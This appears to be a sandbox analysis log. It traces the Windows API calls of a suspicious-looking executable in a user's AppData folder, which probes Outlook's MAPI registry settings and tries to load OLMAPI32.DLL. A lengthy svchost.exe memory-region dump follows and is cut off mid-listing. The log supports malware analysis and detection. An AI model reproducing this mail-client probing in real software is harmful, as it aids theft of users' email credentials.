[0079.312] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4071c2) returned 0x0
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.313] GetLastError () returned 0x0
[0079.313] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.314] SetLastError (dwErrCode=0x0)
[0079.314] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.315] SetLastError (dwErrCode=0x0)
[0079.315] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.316] SetLastError (dwErrCode=0x0)
[0079.316] GetLastError () returned 0x0
[0079.317] SetLastError (dwErrCode=0x0)
[0079.317] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x76030000
[0079.371] LoadLibraryW (lpLibFileName="ole32.dll") returned 0x77460000
[0079.581] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x764f0000
[0079.585] GetCommandLineW () returned="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" \"C:\\ProgramData\\9F2D.tmp\""
[0079.585] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" \"C:\\ProgramData\\9F2D.tmp\"", pNumArgs=0x12ff34 | out: pNumArgs=0x12ff34) returned 0x1c4970*="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe"
[0079.586] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Clients\\Mail\\Microsoft Outlook", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x1, lpSecurityAttributes=0x0, phkResult=0x12ff1c, lpdwDisposition=0x0 | out: phkResult=0x12ff1c*=0x74, lpdwDisposition=0x0) returned 0x0
[0079.586] RegQueryValueExW (in: hKey=0x74, lpValueName="DLLPathEx", lpReserved=0x0, lpType=0x0, lpData=0x12fa80, lpcbData=0x12ff00*=0x104 | out: lpType=0x0, lpData=0x12fa80*=0x43, lpcbData=0x12ff00*=0x7a) returned 0x0
[0079.586] RegQueryValueExW (in: hKey=0x74, lpValueName="MSIApplicationLCID", lpReserved=0x0, lpType=0x0, lpData=0x12fc88, lpcbData=0x12ff08*=0x104 | out: lpType=0x0, lpData=0x12fc88*=0x4d, lpcbData=0x12ff08*=0x5c) returned 0x0
[0079.586] RegCloseKey (hKey=0x74) returned 0x0
[0079.586] LoadLibraryW (lpLibFileName="C:\\Program Files\\Microsoft Office\\Root\\Office16\\OLMAPI32.DLL") returned 0x0
[0088.319] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12fedc | out: phModule=0x12fedc) returned 0
[0088.319] ExitProcess (uExitCode=0x0)
Process:
id = "11"
image_name = "svchost.exe"
filename = "c:\\windows\\system32\\svchost.exe"
page_root = "0x7f13e220"
os_pid = "0x42c"
os_integrity_level = "0x4000"
os_privileges = "0x60a00000"
monitor_reason = "rpc_server"
parent_id = "7"
os_parent_pid = "0x3dc"
cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\Network Service"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c648" [0xc000000f], "LOCAL" [0x7]
Region:
id = 1674
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 1675
start_va = 0x20000
end_va = 0x26fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000020000"
filename = ""
Region:
id = 1676
start_va = 0x30000
end_va = 0x33fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 1677
start_va = 0x40000
end_va = 0x40fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000040000"
filename = ""
Region:
id = 1678
start_va = 0x50000
end_va = 0xb6fff
entry_point = 0x50000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1679
start_va = 0xc0000
end_va = 0xc1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000c0000"
filename = ""
Region:
id = 1680
start_va = 0xd0000
end_va = 0xd0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000000d0000"
filename = ""
Region:
id = 1681
start_va = 0xe0000
end_va = 0xe0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000000e0000"
filename = ""
Region:
id = 1682
start_va = 0xf0000
end_va = 0xf0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000f0000"
filename = ""
Region:
id = 1683
start_va = 0x100000
end_va = 0x100fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000100000"
filename = ""
Region:
id = 1684
start_va = 0x110000
end_va = 0x11ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000110000"
filename = ""
Region:
id = 1685
start_va = 0x120000
end_va = 0x1e7fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000120000"
filename = ""
Region:
id = 1686
start_va = 0x1f0000
end_va = 0x22ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000001f0000"
filename = ""
Region:
id = 1687
start_va = 0x230000
end_va = 0x330fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000230000"
filename = ""
Region:
id = 1688
start_va = 0x340000
end_va = 0x340fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000340000"
filename = ""
Region:
id = 1689
start_va = 0x350000
end_va = 0x350fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000350000"
filename = ""
Region:
id = 1690
start_va = 0x360000
end_va = 0x36dfff
entry_point = 0x0
region_type = private
name = "private_0x0000000000360000"
filename = ""
Region:
id = 1691
start_va = 0x370000
end_va = 0x46ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000370000"
filename = ""
Region:
id = 1692
start_va = 0x470000
end_va = 0x4effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000470000"
filename = ""
Region:
id = 1693
start_va = 0x4f0000
end_va = 0x52ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000004f0000"
filename = ""
Region:
id = 1694
start_va = 0x530000
end_va = 0x530fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000530000"
filename = ""
Region:
id = 1695
start_va = 0x540000
end_va = 0x540fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000540000"
filename = ""
Region:
id = 1696
start_va = 0x550000
end_va = 0x55ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000550000"
filename = ""
Region:
id = 1697
start_va = 0x560000
end_va = 0x56ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000560000"
filename = ""
Region:
id = 1698
start_va = 0x570000
end_va = 0x5affff
entry_point = 0x0
region_type = private
name = "private_0x0000000000570000"
filename = ""
Region:
id = 1699
start_va = 0x5b0000
end_va = 0x5bffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000005b0000"
filename = ""
Region:
id = 1700
start_va = 0x5c0000
end_va = 0x5cffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000005c0000"
filename = ""
Region:
id = 1701
start_va = 0x5d0000
end_va = 0x5dffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000005d0000"
filename = ""
Region:
id = 1702
start_va = 0x5e0000
end_va = 0x5effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000005e0000"
filename = ""
Region:
id = 1703
start_va = 0x5f0000
end_va = 0x5fffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000005f0000"
filename = ""
Region:
id = 1704
start_va = 0x600000
end_va = 0x60ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000600000"
filename = ""
Region:
id = 1705
start_va = 0x610000
end_va = 0x61ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000610000"
filename = ""
Region:
id = 1706
start_va = 0x620000
end_va = 0x620fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000620000"
filename = ""
Region:
id = 1707
start_va = 0x630000
end_va = 0x66ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000630000"
filename = ""
Region:
id = 1708
start_va = 0x670000
end_va = 0x671fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000670000"
filename = ""
Region:
id = 1709
start_va = 0x680000
end_va = 0x684fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000680000"
filename = ""
Region:
id = 1710
start_va = 0x690000
end_va = 0x690fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000690000"
filename = ""
Region:
id = 1711
start_va = 0x6a0000
end_va = 0x6a7fff
entry_point = 0x6a2104
region_type = mapped_file
name = "svchost.exe"
filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")
Region:
id = 1712
start_va = 0x6b0000
end_va = 0xaa2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000006b0000"
filename = ""
Region:
id = 1713
start_va = 0xab0000
end_va = 0xd7efff
entry_point = 0xab0000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1714
start_va = 0xd80000
end_va = 0xd8ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000d80000"
filename = ""
Region:
id = 1715
start_va = 0xd90000
end_va = 0xd90fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000d90000"
filename = ""
Region:
id = 1716
start_va = 0xda0000
end_va = 0xdaffff
entry_point = 0xda0000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1717
start_va = 0xdb0000
end_va = 0xdbffff
entry_point = 0xdb0000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1718
start_va = 0xdc0000
end_va = 0xdfffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000dc0000"
filename = ""
Region:
id = 1719
start_va = 0xe00000
end_va = 0xe0ffff
entry_point = 0xe00000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1720
start_va = 0xe10000
end_va = 0xe4ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000e10000"
filename = ""
Region:
id = 1721
start_va = 0xe50000
end_va = 0xe8ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000e50000"
filename = ""
Region:
id = 1722
start_va = 0xe90000
end_va = 0xf0ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000e90000"
filename = ""
Region:
id = 1723
start_va = 0xf10000
end_va = 0xf1ffff
entry_point = 0xf10000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1724
start_va = 0xf20000
end_va = 0xf5ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000f20000"
filename = ""
Region:
id = 1725
start_va = 0xf60000
end_va = 0xf9ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000f60000"
filename = ""
Region:
id = 1726
start_va = 0xfa0000
end_va = 0xfaffff
entry_point = 0xfa0000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1727
start_va = 0xfb0000
end_va = 0xfbffff
entry_point = 0xfb0000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1728
start_va = 0xfc0000
end_va = 0xfcffff
entry_point = 0xfc0000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1729
start_va = 0xfd0000
end_va = 0x100ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000fd0000"
filename = ""
Region:
id = 1730
start_va = 0x1010000
end_va = 0x101ffff
entry_point = 0x1010000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1731
start_va = 0x1020000
end_va = 0x105ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001020000"
filename = ""
Region:
id = 1732
start_va = 0x1060000
end_va = 0x106ffff
entry_point = 0x1060000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1733
start_va = 0x1070000
end_va = 0x107ffff
entry_point = 0x1070000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1734
start_va = 0x1080000
end_va = 0x10bffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001080000"
filename = ""
Region:
id = 1735
start_va = 0x10c0000
end_va = 0x10cffff
entry_point = 0x10c0000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1736
start_va = 0x10d0000
end_va = 0x10dffff
entry_point = 0x10d0000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1737
start_va = 0x10e0000
end_va = 0x10effff
entry_point = 0x10e0000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1738
start_va = 0x10f0000
end_va = 0x112ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000010f0000"
filename = ""
Region:
id = 1739
start_va = 0x1130000
end_va = 0x122ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001130000"
filename = ""
Region:
id = 1740
start_va = 0x1230000
end_va = 0x123ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001230000"
filename = ""
Region:
id = 1741
start_va = 0x1240000
end_va = 0x124ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001240000"
filename = ""
Region:
id = 1742
start_va = 0x1250000
end_va = 0x125ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001250000"
filename = ""
Region:
id = 1743
start_va = 0x1260000
end_va = 0x126ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001260000"
filename = ""
Region:
id = 1744
start_va = 0x1270000
end_va = 0x127ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001270000"
filename = ""
Region:
id = 1745
start_va = 0x1280000
end_va = 0x128ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001280000"
filename = ""
Region:
id = 1746
start_va = 0x1290000
end_va = 0x129ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001290000"
filename = ""
Region:
id = 1747
start_va = 0x12a0000
end_va = 0x12affff
entry_point = 0x12a0000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1748
start_va = 0x12b0000
end_va = 0x12bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000012b0000"
filename = ""
Region:
id = 1749
start_va = 0x12c0000
end_va = 0x12cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000012c0000"
filename = ""
Region:
id = 1750
start_va = 0x12d0000
end_va = 0x12dffff
entry_point = 0x0
region_type = private
name = "private_0x00000000012d0000"
filename = ""
Region:
id = 1751
start_va = 0x12e0000
end_va = 0x12effff
entry_point = 0x0
region_type = private
name = "private_0x00000000012e0000"
filename = ""
Region:
id = 1752
start_va = 0x12f0000
end_va = 0x12fffff
entry_point = 0x0
region_type = private
name = "private_0x00000000012f0000"
filename = ""
Region:
id = 1753
start_va = 0x1300000
end_va = 0x1300fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001300000"
filename = ""
Region:
id = 1754
start_va = 0x1310000
end_va = 0x1310fff
entry_point = 0x0
region_type = private
name = "private_0x0000000001310000"
filename = ""
Region:
id = 1755
start_va = 0x1320000
end_va = 0x132ffff
entry_point = 0x1320000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\\catdb")
Region:
id = 1756
start_va = 0x1330000
end_va = 0x133ffff
entry_point = 0x1330000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1757
start_va = 0x1340000
end_va = 0x134ffff
entry_point = 0x1340000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1758
start_va = 0x1350000
end_va = 0x135ffff
entry_point = 0x1350000
region_type = mapped_file
name = "catdb"
filename = "\\Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\\catdb" (normalized: "c:\\windows\\system32\\catroot2\\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\\catdb")
Region:
id = 1759
start_va = 0x1360000
end_va = 0x136ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001360000"
filename = ""
Region:
id = 1760
start_va = 0x13b0000
end_va = 0x13bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000013b0000"
filename = ""
Region:
id = 1761
start_va = 0x13c0000
end_va = 0x14bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000013c0000"
filename = ""
Region:
id = 1762
start_va = 0x14f0000
end_va = 0x14fffff
entry_point = 0x0
region_type = private
name = "private_0x00000000014f0000"
filename = ""
Region:
id = 1763
start_va = 0x1500000
end_va = 0x15fffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001500000"
filename = ""
Region:
id = 1764
start_va = 0x1650000
end_va = 0x168ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001650000"
filename = ""
Region:
id = 1765
start_va = 0x16d0000
end_va = 0x170ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000016d0000"
filename = ""
Region:
id = 1766
start_va = 0x1790000
end_va = 0x17cffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001790000"
filename = ""
Region:
id = 1767
start_va = 0x17d0000
end_va = 0x188ffff
entry_point = 0x17d0000
region_type = mapped_file
name = "kernelbase.dll.mui"
filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")
Region:
id = 1768
start_va = 0x1890000
end_va = 0x198ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001890000"
filename = ""
Region:
id = 1769
start_va = 0x1990000
end_va = 0x1a8ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001990000"
filename = ""
Region:
id = 1770
start_va = 0x1aa0000
end_va = 0x1adffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001aa0000"
filename = ""
Region:
id = 1771
start_va = 0x1b30000
end_va = 0x1b6ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001b30000"
filename = ""
Region:
id = 1772
start_va = 0x1b70000
end_va = 0x1c2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001b70000"
filename = ""
Region:
id = 1773
start_va = 0x1c30000
end_va = 0x1d2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001c30000"
filename = ""
Region:
id = 1774
start_va = 0x1d50000
end_va = 0x1d5ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001d50000"
filename = ""
Region:
id = 1775
start_va = 0x1d60000
end_va = 0x2d5ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001d60000"
filename = ""
Region:
id = 1776
start_va = 0x2d80000
end_va = 0x2dbffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002d80000"
filename = ""
Region:
id = 1777
start_va = 0x6da20000
end_va = 0x6da25fff
entry_point = 0x6da214b2
region_type = mapped_file
name = "rasadhlp.dll"
filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")
Region:
id = 1778
start_va = 0x6dc10000
end_va = 0x6ddb2fff
entry_point = 0x6dc10000
region_type = mapped_file
name = "esent.dll"
filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")
Region:
id = 1779
start_va = 0x6e5e0000
end_va = 0x6e5ecfff
entry_point = 0x6e5e0000
region_type = mapped_file
name = "ssdpapi.dll"
filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll")
Region:
id = 1780
start_va = 0x6f170000
end_va = 0x6f197fff
entry_point = 0x6f170000
region_type = mapped_file
name = "ncsi.dll"
filename = "\\Windows\\System32\\ncsi.dll" (normalized: "c:\\windows\\system32\\ncsi.dll")
Region:
id = 1781
start_va = 0x6f270000
end_va = 0x6f2adfff
entry_point = 0x6f270000
region_type = mapped_file
name = "nlasvc.dll"
filename = "\\Windows\\System32\\nlasvc.dll" (normalized: "c:\\windows\\system32\\nlasvc.dll")
Region:
id = 1782
start_va = 0x6f5b0000
end_va = 0x6f5fefff
entry_point = 0x6f5b1452
region_type = mapped_file
name = "webio.dll"
filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")
Region:
id = 1783
start_va = 0x6f600000
end_va = 0x6f657fff
entry_point = 0x6f6013b4
region_type = mapped_file
name = "winhttp.dll"
